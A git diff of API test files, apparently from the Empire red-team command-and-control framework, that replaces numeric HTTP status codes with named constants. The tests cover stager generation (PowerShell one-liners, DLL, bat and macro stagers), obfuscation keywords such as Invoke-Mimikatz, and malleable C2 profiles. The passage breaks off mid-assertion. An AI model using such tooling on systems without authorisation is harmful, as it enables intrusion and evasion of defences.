assert len(response.json()["replacement"]) > 0 @@ -26,7 +27,7 @@ def test_get_keyword(client, admin_auth_header): def test_get_keywords(client, admin_auth_header): response = client.get("/api/v2/obfuscation/keywords", headers=admin_auth_header) - assert response.status_code == 200 + assert response.status_code == status.HTTP_200_OK assert len(response.json()["records"]) > 0 @@ -37,7 +38,7 @@ def test_create_keyword_name_conflict(client, admin_auth_header): json={"keyword": "Invoke-Mimikatz", "replacement": "Invoke-Hax"}, ) - assert response.status_code == 400 + assert response.status_code == status.HTTP_400_BAD_REQUEST assert ( response.json()["detail"] == "Keyword with name Invoke-Mimikatz already exists." ) @@ -50,7 +51,7 @@ def test_create_keyword_validate_length(client, admin_auth_header): json={"keyword": "a", "replacement": "b"}, ) - assert response.status_code == 422 + assert response.status_code == status.HTTP_422_UNPROCESSABLE_ENTITY assert ( response.json()["detail"][0]["msg"] == "String should have at least 3 characters" @@ -64,7 +65,7 @@ def test_create_keyword(client, admin_auth_header): json={"keyword": "Invoke-Things", "replacement": "Invoke-sgnihT;"}, ) - assert response.status_code == 201 + assert response.status_code == status.HTTP_201_CREATED assert response.json()["keyword"] == "Invoke-Things" assert response.json()["replacement"] == "Invoke-sgnihT;" @@ -76,7 +77,7 @@ def test_update_keyword_not_found(client, admin_auth_header): json={"keyword": "thiswontwork", "replacement": "x=0;"}, ) - assert response.status_code == 404 + assert response.status_code == status.HTTP_404_NOT_FOUND assert response.json()["detail"] == "Keyword not found for id 9999" @@ -87,7 +88,7 @@ def test_update_keyword_name_conflict(client, admin_auth_header): json={"keyword": "Invoke-Mimikatz", "replacement": "Invoke-Whatever"}, ) - assert response.status_code == 400 + assert response.status_code == status.HTTP_400_BAD_REQUEST assert ( response.json()["detail"] == "Keyword with name Invoke-Mimikatz already exists." ) @@ -109,17 +110,17 @@ def test_delete_keyword(client, admin_auth_header): "/api/v2/obfuscation/keywords/1", headers=admin_auth_header ) - assert response.status_code == 204 + assert response.status_code == status.HTTP_204_NO_CONTENT response = client.get("/api/v2/obfuscation/keywords/1", headers=admin_auth_header) - assert response.status_code == 404 + assert response.status_code == status.HTTP_404_NOT_FOUND def test_get_obfuscation_configs(client, admin_auth_header): response = client.get("/api/v2/obfuscation/global", headers=admin_auth_header) - assert response.status_code == 200 + assert response.status_code == status.HTTP_200_OK assert len(response.json()["records"]) > 1 assert any(x["language"] == "powershell" for x in response.json()["records"]) @@ -132,7 +133,7 @@ def test_get_obfuscation_config_not_found(client, admin_auth_header): "/api/v2/obfuscation/global/madeup", headers=admin_auth_header ) - assert response.status_code == 404 + assert response.status_code == status.HTTP_404_NOT_FOUND assert ( response.json()["detail"] == "Obfuscation config not found for language madeup. Only powershell is supported." @@ -144,7 +145,7 @@ def test_get_obfuscation_config(client, admin_auth_header): "/api/v2/obfuscation/global/powershell", headers=admin_auth_header ) - assert response.status_code == 200 + assert response.status_code == status.HTTP_200_OK assert response.json()["language"] == "powershell" assert response.json()["enabled"] is False assert response.json()["command"] == r"Token\All\1" @@ -163,7 +164,7 @@ def test_update_obfuscation_config_not_found(client, admin_auth_header): }, ) - assert response.status_code == 404 + assert response.status_code == status.HTTP_404_NOT_FOUND assert ( response.json()["detail"] == "Obfuscation config not found for language madeup. Only powershell is supported." @@ -195,7 +196,7 @@ def test_preobfuscate_post_not_preobfuscatable( "/api/v2/obfuscation/global/csharp/preobfuscate", headers=admin_auth_header ) - assert response.status_code == 400 + assert response.status_code == status.HTTP_400_BAD_REQUEST assert ( response.json()["detail"] == "Obfuscation language csharp is not preobfuscatable." @@ -211,7 +212,7 @@ def test_preobfuscate_post(client, admin_auth_header, empire_config): ) # It is run as a background task, but in tests it runs synchronously. - assert response.status_code == 202 + assert response.status_code == status.HTTP_202_ACCEPTED module_dir = empire_config.directories.module_source obf_module_dir = empire_config.directories.obfuscated_module_source @@ -235,7 +236,7 @@ def test_preobfuscate_delete_not_preobfuscatable( "/api/v2/obfuscation/global/csharp/preobfuscate", headers=admin_auth_header ) - assert response.status_code == 400 + assert response.status_code == status.HTTP_400_BAD_REQUEST assert ( response.json()["detail"] == "Obfuscation language csharp is not preobfuscatable." @@ -249,7 +250,7 @@ def test_preobfuscate_delete(client, admin_auth_header, empire_config): headers=admin_auth_header, ) - assert response.status_code == 204 + assert response.status_code == status.HTTP_204_NO_CONTENT module_dir = empire_config.directories.module_source obf_module_dir = empire_config.directories.obfuscated_module_source diff --git a/empire/test/test_openapi.py b/empire/test/test_openapi.py index 105e177bc..6caf07b68 100644 --- a/empire/test/test_openapi.py +++ b/empire/test/test_openapi.py @@ -1,5 +1,8 @@ +from starlette import status + + def test_openapi(client): response = client.get("/openapi.json") print(response.json()) - assert response.status_code == 200 + assert response.status_code == status.HTTP_200_OK assert response.json()["openapi"] == "3.1.0" diff --git a/empire/test/test_plugin_api.py b/empire/test/test_plugin_api.py index e9bc781b4..8fcc20a65 100644 --- a/empire/test/test_plugin_api.py +++ b/empire/test/test_plugin_api.py @@ -1,5 +1,7 @@ from contextlib import contextmanager +from starlette import status + from empire.server.core.exceptions import ( PluginExecutionException, PluginValidationException, @@ -17,14 +19,14 @@ def patch_plugin_execute(main, plugin_name, execute_func): def test_get_plugin_not_found(client, admin_auth_header): response = client.get("/api/v2/plugins/some_plugin", headers=admin_auth_header) - assert response.status_code == 404 + assert response.status_code == status.HTTP_404_NOT_FOUND assert response.json()["detail"] == "Plugin not found for id some_plugin" def test_get_plugin(client, admin_auth_header): response = client.get("/api/v2/plugins/basic_reporting", headers=admin_auth_header) - assert response.status_code == 200 + assert response.status_code == status.HTTP_200_OK assert response.json()["name"] == "basic_reporting" assert ( response.json()["description"] @@ -35,7 +37,7 @@ def test_get_plugin(client, admin_auth_header): def test_get_plugins(client, admin_auth_header): response = client.get("/api/v2/plugins", headers=admin_auth_header) - assert response.status_code == 200 + assert response.status_code == status.HTTP_200_OK assert len(response.json()["records"]) > 0 @@ -44,7 +46,7 @@ def test_execute_plugin_not_found(client, admin_auth_header): "/api/v2/plugins/some_plugin/execute", headers=admin_auth_header ) - assert response.status_code == 404 + assert response.status_code == status.HTTP_404_NOT_FOUND assert response.json()["detail"] == "Plugin not found for id some_plugin" @@ -62,7 +64,7 @@ def test_execute_plugin_validation_failed(client, admin_auth_header): headers=admin_auth_header, ) - assert response.status_code == 400 + assert response.status_code == status.HTTP_400_BAD_REQUEST assert response.json()["detail"] == "required option missing: TargetHost" @@ -74,7 +76,7 @@ def test_execute_plugin_raises_exception(client, admin_auth_header, main): headers=admin_auth_header, ) - assert response.status_code == 500 + assert response.status_code == status.HTTP_500_INTERNAL_SERVER_ERROR assert response.json()["detail"] == "division by zero" @@ -86,7 +88,7 @@ def test_execute_plugin_returns_false(client, admin_auth_header, main): headers=admin_auth_header, ) - assert response.status_code == 500 + assert response.status_code == status.HTTP_500_INTERNAL_SERVER_ERROR assert response.json()["detail"] == "internal plugin error" @@ -100,7 +102,7 @@ def test_execute_plugin_returns_false_with_string(client, admin_auth_header, mai headers=admin_auth_header, ) - assert response.status_code == 500 + assert response.status_code == status.HTTP_500_INTERNAL_SERVER_ERROR assert response.json()["detail"] == "This is the message" @@ -114,7 +116,7 @@ def test_execute_plugin_returns_string(client, admin_auth_header, main): headers=admin_auth_header, ) - assert response.status_code == 200 + assert response.status_code == status.HTTP_200_OK assert response.json() == {"detail": "Successful Execution"} @@ -126,7 +128,7 @@ def test_execute_plugin_returns_true(client, admin_auth_header, main): headers=admin_auth_header, ) - assert response.status_code == 200 + assert response.status_code == status.HTTP_200_OK assert response.json() == {"detail": "Plugin executed successfully"} @@ -141,7 +143,7 @@ def test_execute_plugin_returns_true_with_string(client, admin_auth_header, main headers=admin_auth_header, ) - assert response.status_code == 500 + assert response.status_code == status.HTTP_500_INTERNAL_SERVER_ERROR assert response.json() == {"detail": "This is the message"} @@ -158,7 +160,7 @@ def raise_(): headers=admin_auth_header, ) - assert response.status_code == 400 + assert response.status_code == status.HTTP_400_BAD_REQUEST assert response.json() == {"detail": "This is the message"} @@ -175,7 +177,7 @@ def raise_(): headers=admin_auth_header, ) - assert response.status_code == 500 + assert response.status_code == status.HTTP_500_INTERNAL_SERVER_ERROR assert response.json() == {"detail": "This is the message"} @@ -187,7 +189,7 @@ def test_execute_plugin_returns_none(client, admin_auth_header, main): headers=admin_auth_header, ) - assert response.status_code == 200 + assert response.status_code == status.HTTP_200_OK assert response.json() == {"detail": "Plugin executed successfully"} @@ -198,7 +200,7 @@ def test_reload_plugins(client, admin_auth_header): # Call the reload plugins endpoint response = client.post("/api/v2/plugins/reload", headers=admin_auth_header) - assert response.status_code == 204 + assert response.status_code == status.HTTP_204_NO_CONTENT # Get the list of plugins after reloading final_response = client.get("/api/v2/plugins", headers=admin_auth_header) diff --git a/empire/test/test_plugin_task_api.py b/empire/test/test_plugin_task_api.py index 482ea6827..39731f42f 100644 --- a/empire/test/test_plugin_task_api.py +++ b/empire/test/test_plugin_task_api.py @@ -1,4 +1,5 @@ import pytest +from starlette import status @pytest.fixture(scope="module", autouse=True) @@ -23,7 +24,7 @@ def plugin_task_1(main, session_local, models, plugin_name): def test_get_tasks_for_plugin_not_found(client, admin_auth_header): response = client.get("/api/v2/plugins/abc/tasks", headers=admin_auth_header) - assert response.status_code == 404 + assert response.status_code == status.HTTP_404_NOT_FOUND assert response.json()["detail"] == "Plugin not found for id abc" @@ -31,7 +32,7 @@ def test_get_tasks_for_plugin(client, admin_auth_header, plugin_name): response = client.get( f"/api/v2/plugins/{plugin_name}/tasks", headers=admin_auth_header ) - assert response.status_code == 200 + assert response.status_code == status.HTTP_200_OK assert len(response.json()["records"]) > 0 assert ( len( @@ -48,7 +49,7 @@ def test_get_tasks_for_plugin(client, admin_auth_header, plugin_name): def test_get_task_for_plugin_plugin_not_found(client, admin_auth_header): response = client.get("/api/v2/plugins/abc/tasks/1", headers=admin_auth_header) - assert response.status_code == 404 + assert response.status_code == status.HTTP_404_NOT_FOUND assert response.json()["detail"] == "Plugin not found for id abc" @@ -56,7 +57,7 @@ def test_get_task_for_plugin_not_found(client, admin_auth_header, plugin_name): response = client.get( f"/api/v2/plugins/{plugin_name}/tasks/9999", headers=admin_auth_header ) - assert response.status_code == 404 + assert response.status_code == status.HTTP_404_NOT_FOUND assert ( response.json()["detail"] == f"Task not found for plugin {plugin_name} and task id 9999" @@ -68,6 +69,6 @@ def test_get_task_for_plugin(client, admin_auth_header, plugin_name, db, plugin_ f"/api/v2/plugins/{plugin_name}/tasks/{plugin_task_1}", headers=admin_auth_header, ) - assert response.status_code == 200 + assert response.status_code == status.HTTP_200_OK assert response.json()["id"] == plugin_task_1 assert response.json()["plugin_id"] == plugin_name diff --git a/empire/test/test_profile_api.py b/empire/test/test_profile_api.py index 7fb093405..c28762396 100644 --- a/empire/test/test_profile_api.py +++ b/empire/test/test_profile_api.py @@ -1,14 +1,17 @@ +from starlette import status + + def test_get_profile_not_found(client, admin_auth_header): response = client.get("/api/v2/malleable-profiles/9999", headers=admin_auth_header) - assert response.status_code == 404 + assert response.status_code == status.HTTP_404_NOT_FOUND assert response.json()["detail"] == "Profile not found for id 9999" def test_get_profile(client, admin_auth_header): response = client.get("/api/v2/malleable-profiles/1", headers=admin_auth_header) - assert response.status_code == 200 + assert response.status_code == status.HTTP_200_OK assert response.json()["id"] == 1 assert len(response.json()["data"]) > 0 @@ -16,7 +19,7 @@ def test_get_profile(client, admin_auth_header): def test_get_profiles(client, admin_auth_header): response = client.get("/api/v2/malleable-profiles", headers=admin_auth_header) - assert response.status_code == 200 + assert response.status_code == status.HTTP_200_OK assert len(response.json()["records"]) > 0 @@ -27,7 +30,7 @@ def test_create_profile(client, admin_auth_header): json={"name": "Test Profile", "category": "cat", "data": "x=0;"}, ) - assert response.status_code == 201 + assert response.status_code == status.HTTP_201_CREATED assert response.json()["name"] == "Test Profile" assert response.json()["category"] == "cat" assert response.json()["data"] == "x=0;" @@ -40,7 +43,7 @@ def test_update_profile_not_found(client, admin_auth_header): json={"name": "Test Profile", "category": "cat", "data": "x=0;"}, ) - assert response.status_code == 404 + assert response.status_code == status.HTTP_404_NOT_FOUND assert response.json()["detail"] == "Profile not found for id 9999" @@ -58,18 +61,18 @@ def test_update_profile(client, admin_auth_header): def test_delete_profile(client, admin_auth_header): response = client.delete("/api/v2/malleable-profiles/1", headers=admin_auth_header) - assert response.status_code == 204 + assert response.status_code == status.HTTP_204_NO_CONTENT response = client.get("/api/v2/malleable-profiles/1", headers=admin_auth_header) - assert response.status_code == 404 + assert response.status_code == status.HTTP_404_NOT_FOUND def test_reset_profiles(client, admin_auth_header): response = client.post( "/api/v2/malleable-profiles/reset", headers=admin_auth_header ) - assert response.status_code == 204 + assert response.status_code == status.HTTP_204_NO_CONTENT initial_response = client.get( "/api/v2/malleable-profiles", headers=admin_auth_header @@ -81,12 +84,12 @@ def test_reset_profiles(client, admin_auth_header): headers=admin_auth_header, json={"name": "Test Profile", "category": "cat", "data": "x=0;"}, ) - assert response.status_code == 201 + assert response.status_code == status.HTTP_201_CREATED response = client.post( "/api/v2/malleable-profiles/reset", headers=admin_auth_header ) - assert response.status_code == 204 + assert response.status_code == status.HTTP_204_NO_CONTENT final_response = client.get("/api/v2/malleable-profiles", headers=admin_auth_header) final_profiles = final_response.json()["records"] @@ -100,7 +103,7 @@ def test_reload_profiles(client, admin_auth_header): headers=admin_auth_header, json={"name": "Test Profile", "category": "cat", "data": "x=0;"}, ) - assert response.status_code == 201 + assert response.status_code == status.HTTP_201_CREATED new_profile_id = response.json()["id"] initial_response = client.get( @@ -111,7 +114,7 @@ def test_reload_profiles(client, admin_auth_header): response = client.post( "/api/v2/malleable-profiles/reload", headers=admin_auth_header ) - assert response.status_code == 204 + assert response.status_code == status.HTTP_204_NO_CONTENT final_response = client.get("/api/v2/malleable-profiles", headers=admin_auth_header) final_profiles = final_response.json()["records"] diff --git a/empire/test/test_stager_api.py b/empire/test/test_stager_api.py index a151e4620..4dfb60da5 100644 --- a/empire/test/test_stager_api.py +++ b/empire/test/test_stager_api.py @@ -1,6 +1,7 @@ from textwrap import dedent import pytest +from starlette import status @pytest.fixture(scope="module", autouse=True) @@ -15,12 +16,13 @@ def cleanup_stagers(session_local, models): def test_get_stager_templates(client, admin_auth_header): + min_stagers = 36 response = client.get( "/api/v2/stager-templates/", headers=admin_auth_header, ) - assert response.status_code == 200 - assert len(response.json()["records"]) == 36 + assert response.status_code == status.HTTP_200_OK + assert len(response.json()["records"]) == min_stagers def test_get_stager_template(client, admin_auth_header): @@ -28,7 +30,7 @@ def test_get_stager_template(client, admin_auth_header): "/api/v2/stager-templates/multi_launcher", headers=admin_auth_header, ) - assert response.status_code == 200 + assert response.status_code == status.HTTP_200_OK assert response.json()["name"] == "Launcher" assert response.json()["id"] == "multi_launcher" assert isinstance(response.json()["options"], dict) @@ -41,7 +43,7 @@ def test_create_stager_validation_fails_required_field( response = client.post( "/api/v2/stagers/", headers=admin_auth_header, json=base_stager ) - assert response.status_code == 400 + assert response.status_code == status.HTTP_400_BAD_REQUEST assert response.json()["detail"] == "required option missing: Listener" @@ -52,7 +54,7 @@ def test_create_stager_validation_fails_strict_field( response = client.post( "/api/v2/stagers/", headers=admin_auth_header, json=base_stager ) - assert response.status_code == 400 + assert response.status_code == status.HTTP_400_BAD_REQUEST assert ( response.json()["detail"] == "Language must be set to one of the suggested values." @@ -63,7 +65,7 @@ def test_create_stager_validation_fails_strict_field( # stager = get_base_stager() # stager['options']['Language'] = 'powershell' # response = client.post("/api/v2/stagers/", json=stager) -# assert response.status_code == 400 +# assert response.status_code == status.HTTP_400_BAD_REQUEST # assert response.json()['detail'] == 'Error generating' @@ -73,7 +75,7 @@ def test_create_stager_template_not_found(client, base_stager, admin_auth_header response = client.post( "/api/v2/stagers/", headers=admin_auth_header, json=base_stager ) - assert response.status_code == 400 + assert response.status_code == status.HTTP_400_BAD_REQUEST assert response.json()["detail"] == "Stager Template qwerty not found" @@ -84,7 +86,7 @@ def test_create_stager_one_liner(client, base_stager, admin_auth_header): response = client.post( "/api/v2/stagers/?save=true", headers=admin_auth_header, json=base_stager ) - assert response.status_code == 201 + assert response.status_code == status.HTTP_201_CREATED assert response.json()["options"].get("xyz") is None assert len(response.json().get("downloads", [])) > 0 assert ( @@ -105,7 +107,7 @@ def test_create_malleable_stager_one_liner( headers=admin_auth_header, json=base_stager_malleable, ) - assert response.status_code == 201 + assert response.status_code == status.HTTP_201_CREATED assert response.json()["options"].get("xyz") is None assert len(response.json().get("downloads", [])) > 0 assert ( @@ -125,7 +127,7 @@ def test_create_obfuscated_stager_one_liner(client, base_stager, admin_auth_head response = client.post( "/api/v2/stagers/?save=true", headers=admin_auth_header, json=base_stager ) - assert response.status_code == 201 + assert response.status_code == status.HTTP_201_CREATED assert response.json()["options"].get("xyz") is None assert len(response.json().get("downloads", [])) > 0 assert ( @@ -149,7 +151,7 @@ def test_create_obfuscated_malleable_stager_one_liner( headers=admin_auth_header, json=base_stager_malleable, ) - assert response.status_code == 201 + assert response.status_code == status.HTTP_201_CREATED assert response.json()["options"].get("xyz") is None assert len(response.json().get("downloads", [])) > 0 assert ( @@ -166,7 +168,7 @@ def test_create_stager_file(client, base_stager_dll, admin_auth_header): response = client.post( "/api/v2/stagers/?save=true", headers=admin_auth_header, json=base_stager_dll ) - assert response.status_code == 201 + assert response.status_code == status.HTTP_201_CREATED assert response.json()["options"].get("xyz") is None assert len(response.json().get("downloads", [])) > 0 assert ( @@ -180,13 +182,13 @@ def test_create_stager_name_conflict(client, base_stager, admin_auth_header): response = client.post( "/api/v2/stagers/?save=true", headers=admin_auth_header, json=base_stager ) - assert response.status_code == 201 + assert response.status_code == status.HTTP_201_CREATED stager_id = response.json()["id"] response = client.post( "/api/v2/stagers/?save=true", headers=admin_auth_header, json=base_stager ) - assert response.status_code == 400 + assert response.status_code == status.HTTP_400_BAD_REQUEST assert ( response.json()["detail"] == f'Stager with name {base_stager["name"]} already exists.' @@ -199,7 +201,7 @@ def test_create_stager_save_false(client, base_stager, admin_auth_header): response = client.post( "/api/v2/stagers/?save=false", headers=admin_auth_header, json=base_stager ) - assert response.status_code == 201 + assert response.status_code == status.HTTP_201_CREATED assert response.json()["id"] == 0 assert len(response.json().get("downloads", [])) > 0 assert ( @@ -213,13 +215,13 @@ def test_get_stager(client, admin_auth_header, base_stager): ) stager_id = response.json()["id"] - assert response.status_code == 201 + assert response.status_code == status.HTTP_201_CREATED response = client.get( f"/api/v2/stagers/{stager_id}", headers=admin_auth_header, ) - assert response.status_code == 200 + assert response.status_code == status.HTTP_200_OK assert response.json()["id"] == stager_id client.delete(f"/api/v2/stagers/{stager_id}", headers=admin_auth_header) @@ -230,7 +232,7 @@ def test_get_stager_not_found(client, admin_auth_header): "/api/v2/stagers/9999", headers=admin_auth_header, ) - assert response.status_code == 404 + assert response.status_code == status.HTTP_404_NOT_FOUND assert response.json()["detail"] == "Stager not found for id 9999" @@ -238,7 +240,7 @@ def test_update_stager_not_found(client, base_stager, admin_auth_header): response = client.put( "/api/v2/stagers/9999", headers=admin_auth_header, json=base_stager ) - assert response.status_code == 404 + assert response.status_code == status.HTTP_404_NOT_FOUND assert response.json()["detail"] == "Stager not found for id 9999" @@ -248,7 +250,7 @@ def test_download_stager_one_liner(client, admin_auth_header, base_stager): headers=admin_auth_header, json=base_stager, ) - assert response.status_code == 201 + assert response.status_code == status.HTTP_201_CREATED stager_id = response.json()["id"] response = client.get( @@ -259,7 +261,7 @@ def test_download_stager_one_liner(client, admin_auth_header, base_stager): response.json()["downloads"][0]["link"], headers=admin_auth_header, ) - assert response.status_code == 200 + assert response.status_code == status.HTTP_200_OK assert response.headers.get("content-type").split(";")[0] == "text/plain" assert response.text.startswith("powershell -noP -sta") @@ -272,7 +274,7 @@ def test_download_stager_file(client, admin_auth_header, base_stager_dll): headers=admin_auth_header, json=base_stager_dll, ) - assert response.status_code == 201 + assert response.status_code == status.HTTP_201_CREATED stager_id = response.json()["id"] response = client.get( @@ -283,7 +285,7 @@ def test_download_stager_file(client, admin_auth_header, base_stager_dll): response.json()["downloads"][0]["link"], headers=admin_auth_header, ) - assert response.status_code == 200 + assert response.status_code == status.HTTP_200_OK assert response.headers.get("content-type").split(";")[0] in [ "application/x-msdownload", "application/x-msdos-program", @@ -301,14 +303,14 @@ def test_update_stager_allows_edits_and_generates_new_file( headers=admin_auth_header, json=base_stager, ) - assert response.status_code == 201 + assert response.status_code == status.HTTP_201_CREATED stager_id = response.json()["id"] response = client.get( f"/api/v2/stagers/{stager_id}", headers=admin_auth_header, ) - assert response.status_code == 200 + assert response.status_code == status.HTTP_200_OK stager = response.json() original_name = stager["name"] @@ -320,7 +322,7 @@ def test_update_stager_allows_edits_and_generates_new_file( headers=admin_auth_header, json=stager, ) - assert response.status_code == 200 + assert response.status_code == status.HTTP_200_OK assert response.json()["options"]["Base64"] == "False" assert response.json()["name"] == original_name + "_updated!" @@ -333,14 +335,14 @@ def test_update_stager_name_conflict(client, admin_auth_header, base_stager): headers=admin_auth_header, json=base_stager, ) - assert response.status_code == 201 + assert response.status_code == status.HTTP_201_CREATED stager_id = response.json()["id"] response = client.get( f"/api/v2/stagers/{stager_id}", headers=admin_auth_header, ) - assert response.status_code == 200 + assert response.status_code == status.HTTP_200_OK base_stager_2 = base_stager.copy() base_stager_2["name"] = "test_stager_2" @@ -349,14 +351,14 @@ def test_update_stager_name_conflict(client, admin_auth_header, base_stager): headers=admin_auth_header, json=base_stager_2, ) - assert response2.status_code == 201 + assert response2.status_code == status.HTTP_201_CREATED stager_id_2 = response2.json()["id"] response2 = client.get( f"/api/v2/stagers/{stager_id_2}", headers=admin_auth_header, ) - assert response.status_code == 200 + assert response.status_code == status.HTTP_200_OK stager_1 = response.json() stager_2 = response2.json() @@ -367,7 +369,7 @@ def test_update_stager_name_conflict(client, admin_auth_header, base_stager): json=stager_1, ) - assert response.status_code == 400 + assert response.status_code == status.HTTP_400_BAD_REQUEST assert ( response.json()["detail"] == f"Stager with name {stager_2['name']} already exists." @@ -383,7 +385,7 @@ def test_get_stagers(client, admin_auth_header, base_stager): headers=admin_auth_header, json=base_stager, ) - assert response.status_code == 201 + assert response.status_code == status.HTTP_201_CREATED stager_id = response.json()["id"] base_stager_2 = base_stager.copy() @@ -393,7 +395,7 @@ def test_get_stagers(client, admin_auth_header, base_stager): headers=admin_auth_header, json=base_stager_2, ) - assert response.status_code == 201 + assert response.status_code == status.HTTP_201_CREATED stager_id_2 = response.json()["id"] response = client.get( @@ -401,8 +403,9 @@ def test_get_stagers(client, admin_auth_header, base_stager): headers=admin_auth_header, ) - assert response.status_code == 200 - assert len(response.json()["records"]) == 2 + stager_count = 2 + assert response.status_code == status.HTTP_200_OK + assert len(response.json()["records"]) == stager_count assert response.json()["records"][0]["id"] == stager_id assert response.json()["records"][1]["id"] == stager_id_2 @@ -416,17 +419,17 @@ def test_delete_stager(client, admin_auth_header, base_stager): headers=admin_auth_header, json=base_stager, ) - assert response.status_code == 201 + assert response.status_code == status.HTTP_201_CREATED stager_id = response.json()["id"] response = client.delete(f"/api/v2/stagers/{stager_id}", headers=admin_auth_header) - assert response.status_code == 204 + assert response.status_code == status.HTTP_204_NO_CONTENT response = client.get(f"/api/v2/stagers/{stager_id}", headers=admin_auth_header) - assert response.status_code == 404 + assert response.status_code == status.HTTP_404_NOT_FOUND response = client.get("/api/v2/stagers", headers=admin_auth_header) - assert response.status_code == 200 + assert response.status_code == status.HTTP_200_OK assert stager_id not in [stager["id"] for stager in response.json()["records"]] @@ -436,7 +439,7 @@ def test_pyinstaller_stager_creation(client, pyinstaller_stager, admin_auth_head ) # Check if the stager is successfully created - assert response.status_code == 201 + assert response.status_code == status.HTTP_201_CREATED assert response.json()["id"] != 0 stager_id = response.json()["id"] @@ -447,7 +450,7 @@ def test_pyinstaller_stager_creation(client, pyinstaller_stager, admin_auth_head ) # Check if we can successfully retrieve the stager - assert response.status_code == 200 + assert response.status_code == status.HTTP_200_OK assert response.json()["id"] == stager_id response = client.get( @@ -456,7 +459,7 @@ def test_pyinstaller_stager_creation(client, pyinstaller_stager, admin_auth_head ) # Check if the file is downloaded successfully - assert response.status_code == 200 + assert response.status_code == status.HTTP_200_OK assert response.headers.get("content-type").split(";")[0] == "text/plain" assert isinstance(response.content, bytes) @@ -472,7 +475,7 @@ def test_bat_stager_creation(client, bat_stager, admin_auth_header): ) # Check if the stager is successfully created - assert response.status_code == 201 + assert response.status_code == status.HTTP_201_CREATED assert response.json()["id"] != 0 stager_id = response.json()["id"] @@ -483,7 +486,7 @@ def test_bat_stager_creation(client, bat_stager, admin_auth_header): ) # Check if we can successfully retrieve the stager - assert response.status_code == 200 + assert response.status_code == status.HTTP_200_OK assert response.json()["id"] == stager_id response = client.get( @@ -492,7 +495,7 @@ def test_bat_stager_creation(client, bat_stager, admin_auth_header): ) # Check if the file is downloaded successfully - assert response.status_code == 200 + assert response.status_code == status.HTTP_200_OK assert response.headers.get("content-type").split(";")[0] in [ "application/x-msdownload", "application/x-msdos-program", @@ -533,7 +536,7 @@ def test_macro_stager_generation( ) # Check if the stager is successfully created - assert response.status_code == 201 + assert response.status_code == status.HTTP_201_CREATED assert response.json()["id"] != 0 stager_id = response.json()["id"] @@ -544,7 +547,7 @@ def test_macro_stager_generation( ) # Check if we can successfully retrieve the stager - assert response.status_code == 200 + assert response.status_code == status.HTTP_200_OK assert response.json()["id"] == stager_id response = client.get( @@ -553,7 +556,7 @@ def test_macro_stager_generation( ) # Check if the file is downloaded successfully - assert response.status_code == 200 + assert response.status_code == status.HTTP_200_OK assert response.headers.get("content-type").split(";")[0] in [ "text/plain", ] diff --git a/empire/test/test_startup_loaders.py b/empire/test/test_startup_loaders.py index ca581d2bb..dabba6505 100644 --- a/empire/test/test_startup_loaders.py +++ b/empire/test/test_startup_loaders.py @@ -24,7 +24,11 @@ def test_bypass_loader(monkeypatch): BypassService(main_menu) - assert session_mock.begin.return_value.__enter__.return_value.add.call_count > 4 + min_call_count = 4 + assert ( + session_mock.begin.return_value.__enter__.return_value.add.call_count + > min_call_count + ) def test_listener_template_loader(monkeypatch): @@ -45,7 +49,8 @@ def test_listener_template_loader(monkeypatch): listener_template_service = ListenerTemplateService(main_menu) - assert len(listener_template_service.get_listener_templates()) > 7 + min_template_count = 7 + assert len(listener_template_service.get_listener_templates()) > min_template_count def test_stager_template_loader(monkeypatch): @@ -66,7 +71,8 @@ def test_stager_template_loader(monkeypatch): stager_template_service = StagerTemplateService(main_menu) - assert len(stager_template_service.get_stager_templates()) > 10 + min_template_count = 10 + assert len(stager_template_service.get_stager_templates()) > min_template_count def test_profile_loader(monkeypatch): @@ -89,4 +95,8 @@ def test_profile_loader(monkeypatch): ProfileService(main_menu) - assert session_mock.begin.return_value.__enter__.return_value.add.call_count > 20 + min_call_count = 20 + assert ( + session_mock.begin.return_value.__enter__.return_value.add.call_count + > min_call_count + ) diff --git a/empire/test/test_tags_api.py b/empire/test/test_tags_api.py index c60a41e31..88eeee6e0 100644 --- a/empire/test/test_tags_api.py +++ b/empire/test/test_tags_api.py @@ -1,4 +1,5 @@ import pytest +from starlette import status from empire.server.core.db.models import PluginTaskStatus @@ -9,7 +10,7 @@ def _test_add_tag(client, admin_auth_header, path, taggable_id): headers=admin_auth_header, json={"name": "test:tag", "value": "test:value"}, ) - assert resp.status_code == 422 + assert resp.status_code == status.HTTP_422_UNPROCESSABLE_ENTITY actual = resp.json() for detail in actual["detail"]: @@ -47,13 +48,13 @@ def _test_add_tag(client, admin_auth_header, path, taggable_id): "label": "test_tag:test_value", } - assert resp.status_code == 201 + assert resp.status_code == status.HTTP_201_CREATED actual_tag_1 = resp.json() actual_tag_1.pop("id") assert actual_tag_1 == expected_tag_1 resp = client.get(f"{path}/{taggable_id}", headers=admin_auth_header) - assert resp.status_code == 200 + assert resp.status_code == status.HTTP_200_OK actual_tags = resp.json()["tags"] assert len(actual_tags) == 1 @@ -78,16 +79,17 @@ def _test_add_tag(client, admin_auth_header, path, taggable_id): "label": "test_tag:test_value", } - assert resp.status_code == 201 + assert resp.status_code == status.HTTP_201_CREATED actual_tag_2 = resp.json() actual_tag_2.pop("id") assert actual_tag_2 == expected_tag_2 resp = client.get(f"{path}/{taggable_id}", headers=admin_auth_header) - assert resp.status_code == 200 + assert resp.status_code == status.HTTP_200_OK actual_tags = resp.json()["tags"] - assert len(actual_tags) == 2 + tag_count = 2 + assert len(actual_tags) == tag_count for tag in actual_tags: tag.pop("id") @@ -99,7 +101,7 @@ def _test_add_tag(client, admin_auth_header, path, taggable_id): f"{path}/{taggable_id}/tags/{tag['id']}", headers=admin_auth_header, ) - assert resp.status_code == 204 + assert resp.status_code == status.HTTP_204_NO_CONTENT def _test_update_tag(client, admin_auth_header, path, taggable_id): @@ -109,7 +111,7 @@ def _test_update_tag(client, admin_auth_header, path, taggable_id): json={"name": "test_tag", "value": "test_value"}, ) - assert resp.status_code == 201 + assert resp.status_code == status.HTTP_201_CREATED expected_tag = { "name": "test_tag_updated", @@ -123,7 +125,7 @@ def _test_update_tag(client, admin_auth_header, path, taggable_id): headers=admin_auth_header, json={"name": "test:tag", "value": "test:value"}, ) - assert resp_bad.status_code == 422 + assert resp_bad.status_code == status.HTTP_422_UNPROCESSABLE_ENTITY actual = resp_bad.json() for detail in actual["detail"]: @@ -154,7 +156,7 @@ def _test_update_tag(client, admin_auth_header, path, taggable_id): json=expected_tag, ) - assert resp.status_code == 200 + assert resp.status_code == status.HTTP_200_OK actual_tag = resp.json() actual_tag.pop("id") @@ -164,7 +166,7 @@ def _test_update_tag(client, admin_auth_header, path, taggable_id): f"{path}/{taggable_id}/tags/{resp.json()['id']}", headers=admin_auth_header, ) - assert resp.status_code == 204 + assert 